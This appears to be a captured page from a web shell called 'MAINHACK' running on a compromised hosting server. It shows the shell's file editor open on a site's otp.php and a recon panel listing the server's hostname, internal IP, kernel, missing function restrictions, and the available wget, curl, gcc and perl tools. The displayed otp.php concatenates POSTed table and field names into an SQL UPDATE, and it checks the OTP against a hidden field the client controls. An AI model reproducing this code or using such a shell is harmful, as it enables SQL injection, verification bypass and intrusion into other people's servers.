[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: otp.php
<?php include('header.php'); $m=base64_decode($_REQUEST['m']); $otp=base64_decode($_REQUEST['id']); $table=base64_decode($_REQUEST['table']); //echo $table; ?> <!-- Inner-Banner --> <!--<div class="inner-banner"> <img src="images/banner2.jpg" alt="" class="inner-banner-img"> <div class="container"> <ul> <li><a href="product.php" class="active">OTP</a></li> | <li><a href="index.php" class="">Home</a></li> </ul> </div> </div>--> <!-- // Inner-Banner --> <!-- soon --> <div class="otp-pe"> <div class="registration-right aos-init aos-animate" data-aos="fade-left" style="transition:all 1500ms ease-in-out;"> <form method="post" id="form"> <input type="hidden" name="otp" value="<?=$otp?>" placeholder="OTP"> <input type="hidden" name="table" value="user"> <input type="hidden" name="field_name" value="email" > <input type="hidden" name="field_value" value="<?=$m?>"> <div class="form-left-to-w3l " id="b_name"> <!--<label><i class="fa fa-edit"></i> Confirm <b style="color: #00a5ff;">OTP</b></label>--> <img src="images/fav.png" alt="" title="" class="logo-log" style=""> <h4>OTP</h4> <h5>Confirm OTP</h5> <div class="form-left-to-w3l"> <label>Please Enter Your OTP</label> <input type="text" name="otp_new" class="form-control form-control-lg" placeholder="Enter new OTP" aria-label="OTP" aria-describedby="basic-addon1" required=""> </div> <input type="submit" name="sub" value="Verify"> <div style="color:red;font-weight:600"> <span id="timer"> <span id="time">60</span> Seconds </span> </div> <script> $( document ).ready(function() { var counter = 60; var interval = setInterval(function() { counter--; // Display 'counter' wherever you want to display it. if (counter <= 0) { clearInterval(interval); $('#timer').hide(); $('#resend').show(); return; }else{ $('#time').text(counter); console.log("Timer --> " + counter); } }, 1000); }); </script> <div id="resend" style="display:none; text-align: center; color: #f00; font-size: 15px; padding: 5px 0 0;"><a href="resend_otp.php?p=<?=base64_encode($phone)?>&em=<?=base64_encode($m)?>&t=<?=base64_encode($table)?>">Resend OTP</a></div> </div> </form> <?php if(isset($_POST['sub'])){ if($_POST['otp']==$_POST['otp_new']){ $sq="update ".$_POST['table']." set status='ACTIVE' where ".$_POST['field_name']."='".$_POST['field_value']."'"; $stmt=$con->prepare($sq); $r=$stmt->execute(); echo '<script> setTimeout(function() {hidden swal({ title: "Thank You ", text: "Your account is verified. You can login now", type: "success" }, function() { window.location = "login.php"; }); }, 1000); </script>'; }else{ echo "<script>sweetAlert('Oops!','OTP mismatched.Please verify otp.','error');</script>"; } } ?> </div> </div> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.6 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619